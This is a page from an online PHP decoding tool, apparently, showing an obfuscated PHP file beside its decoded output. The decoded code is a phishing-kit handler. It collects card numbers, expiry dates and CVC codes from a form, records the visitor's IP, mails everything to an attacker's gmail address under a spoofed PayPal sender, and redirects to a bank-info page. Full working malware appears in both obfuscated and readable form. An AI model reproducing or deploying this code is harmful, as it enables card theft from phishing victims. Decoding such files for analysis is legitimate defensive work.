Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4cOB\x41\x4c\x53"}["\x62k\x77uyjg\x78q\x72"]="s\x75\x62\x6ae\x63\x74";${"G\..
Decoded Output download
<?php ${"GLOBALS"}["bkwuyjgxqr"]="subject";${"GLOBALS"}["thrbepywhu"]="headers";${"GLOBALS"}["lgebrto"]="message";$aotbrr="message";${"GLOBALS"}["lsigkj"]="ip";${"GLOBALS"}["mbsyjomc"]="ip";$bgmsxxyc="to";${"GLOBALS"}["zupdipqo"]="headers";$kniepafgtx="hostname";${"GLOBALS"}["whfvtumxw"]="message";${"GLOBALS"}["qmbdneevl"]="message";${${"GLOBALS"}["lsigkj"]}=getenv("REMOTE_ADDR");${"GLOBALS"}["ybtjiohic"]="message";${$kniepafgtx}=gethostbyaddr(${${"GLOBALS"}["mbsyjomc"]});$hlokrwqgmozq="message";${${"GLOBALS"}["whfvtumxw"]}.="=========[BY DAYA]=========
";${$hlokrwqgmozq}.="Card Number : ".$_POST["cardNumber"]."
";${${"GLOBALS"}["qmbdneevl"]}.="Date EX : ".$_POST["date_ex"]."
";${${"GLOBALS"}["ybtjiohic"]}.="CVC : ".$_POST["cvv"]."
";$vxmeogheckry="to";${$aotbrr}.="===============[IP]==============
";${${"GLOBALS"}["lgebrto"]}.="IP : http://www.geoiptool.com/?IP=$ip
";${"GLOBALS"}["cmqohqt"]="subject";${${"GLOBALS"}["lgebrto"]}.="==========[BY baad]=========";${$bgmsxxyc}="[email protected]";${${"GLOBALS"}["cmqohqt"]}="VBV INFOS FROM [$ip]";${"GLOBALS"}["qlgmncrgfwq"]="message";${"GLOBALS"}["tbjgrvpcwae"]="headers";${${"GLOBALS"}["thrbepywhu"]}="From: <paypal>";${${"GLOBALS"}["tbjgrvpcwae"]}.="MIME-Version: 1.0
";mail(${$vxmeogheckry},${${"GLOBALS"}["bkwuyjgxqr"]},${${"GLOBALS"}["qlgmncrgfwq"]},${${"GLOBALS"}["zupdipqo"]});header("Location: bank_info.php");
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4cOB\x41\x4c\x53"}["\x62k\x77uyjg\x78q\x72"]="s\x75\x62\x6ae\x63\x74";${"G\x4cO\x42\x41\x4c\x53"}["\x74\x68rbe\x70yw\x68\x75"]="h\x65\x61\x64\x65r\x73";${"\x47\x4c\x4f\x42\x41L\x53"}["l\x67\x65\x62\x72\x74\x6f"]="\x6d\x65s\x73\x61\x67\x65";$aotbrr="\x6d\x65\x73s\x61\x67\x65";${"G\x4cOBA\x4c\x53"}["\x6c\x73\x69\x67kj"]="\x69\x70";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6d\x62\x73yjom\x63"]="ip";$bgmsxxyc="t\x6f";${"\x47L\x4f\x42A\x4cS"}["z\x75p\x64\x69\x70q\x6f"]="\x68ea\x64\x65\x72s";$kniepafgtx="\x68\x6fs\x74\x6e\x61\x6de";${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x68\x66v\x74\x75mx\x77"]="\x6d\x65\x73\x73\x61\x67e";${"\x47\x4c\x4f\x42AL\x53"}["\x71\x6d\x62d\x6e\x65\x65\x76\x6c"]="\x6de\x73\x73a\x67\x65";${${"G\x4c\x4f\x42A\x4c\x53"}["\x6cs\x69g\x6b\x6a"]}=getenv("RE\x4dOT\x45\x5f\x41\x44DR");${"GL\x4fB\x41\x4cS"}["\x79\x62\x74\x6aio\x68\x69c"]="\x6d\x65\x73\x73ag\x65";${$kniepafgtx}=gethostbyaddr(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6dbs\x79\x6ao\x6d\x63"]});$hlokrwqgmozq="\x6d\x65\x73\x73\x61\x67e";${${"\x47L\x4f\x42AL\x53"}["\x77\x68\x66\x76\x74\x75m\x78\x77"]}.="=\x3d=\x3d\x3d\x3d\x3d==[B\x59\x20\x44\x41\x59A]=\x3d====\x3d\x3d=\n";${$hlokrwqgmozq}.="Car\x64\x20\x4e\x75\x6d\x62\x65r\t\t:\x20".$_POST["\x63\x61\x72\x64Nu\x6db\x65\x72"]."\n";${${"\x47\x4cOB\x41\x4cS"}["\x71\x6d\x62\x64\x6e\x65\x65\x76l"]}.="\x44\x61te\x20\x45X\t\t: ".$_POST["da\x74\x65_\x65\x78"]."\n";${${"\x47\x4cOB\x41L\x53"}["\x79\x62\x74\x6a\x69\x6f\x68\x69\x63"]}.="\x43V\x43\t\t\t \x20:\x20".$_POST["cv\x76"]."\n";$vxmeogheckry="\x74o";${$aotbrr}.="\x3d\x3d\x3d=\x3d=\x3d==\x3d\x3d==\x3d\x3d[IP]\x3d=\x3d=\x3d\x3d\x3d\x3d\x3d==\x3d==\n";${${"GLO\x42AL\x53"}["l\x67\x65\x62\x72\x74\x6f"]}.="\x49\x50\t: http://ww\x77.\x67\x65o\x69\x70to\x6fl.\x63\x6fm/?IP=$ip\n";${"\x47\x4cO\x42\x41\x4cS"}["\x63m\x71\x6f\x68qt"]="\x73\x75bj\x65c\x74";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6cg\x65b\x72to"]}.="\x3d=\x3d\x3d\x3d\x3d==\x3d=[\x42Y \x62\x61\x61\x64]=\x3d==\x3d\x3d==\x3d";${$bgmsxxyc}="me\x6b\x6b\x69dda\x79a\x40gm\x61i\x6c.\x63o\x6d";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63mqoh\x71t"]}="\x56\x42\x56\x20IN\x46OS \x46\x52\x4fM [$ip]";${"GL\x4f\x42A\x4c\x53"}["ql\x67m\x6ec\x72\x67\x66\x77q"]="\x6d\x65\x73s\x61g\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74b\x6ag\x72\x76\x70\x63\x77\x61\x65"]="\x68eade\x72\x73";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74\x68r\x62ep\x79wh\x75"]}="\x46\x72\x6f\x6d: <payp\x61\x6c>";${${"\x47\x4cOB\x41\x4c\x53"}["\x74\x62\x6ag\x72\x76\x70\x63\x77a\x65"]}.="MI\x4dE-\x56e\x72\x73i\x6fn: 1.0\n";mail(${$vxmeogheckry},${${"\x47\x4c\x4fB\x41L\x53"}["\x62k\x77\x75y\x6a\x67\x78\x71\x72"]},${${"G\x4cO\x42A\x4c\x53"}["ql\x67\x6d\x6e\x63\x72\x67\x66\x77\x71"]},${${"G\x4cO\x42\x41LS"}["z\x75\x70\x64\x69\x70q\x6f"]});header("L\x6fc\x61\x74\x69o\x6e: \x62a\x6ek_inf\x6f\x2e\x70h\x70");
?>
Function Calls
| getenv | 1 |
Stats
| MD5 | 182133a85f44117e32f4f055e95f15e8 |
| Eval Count | 0 |
| Decode Time | 82 ms |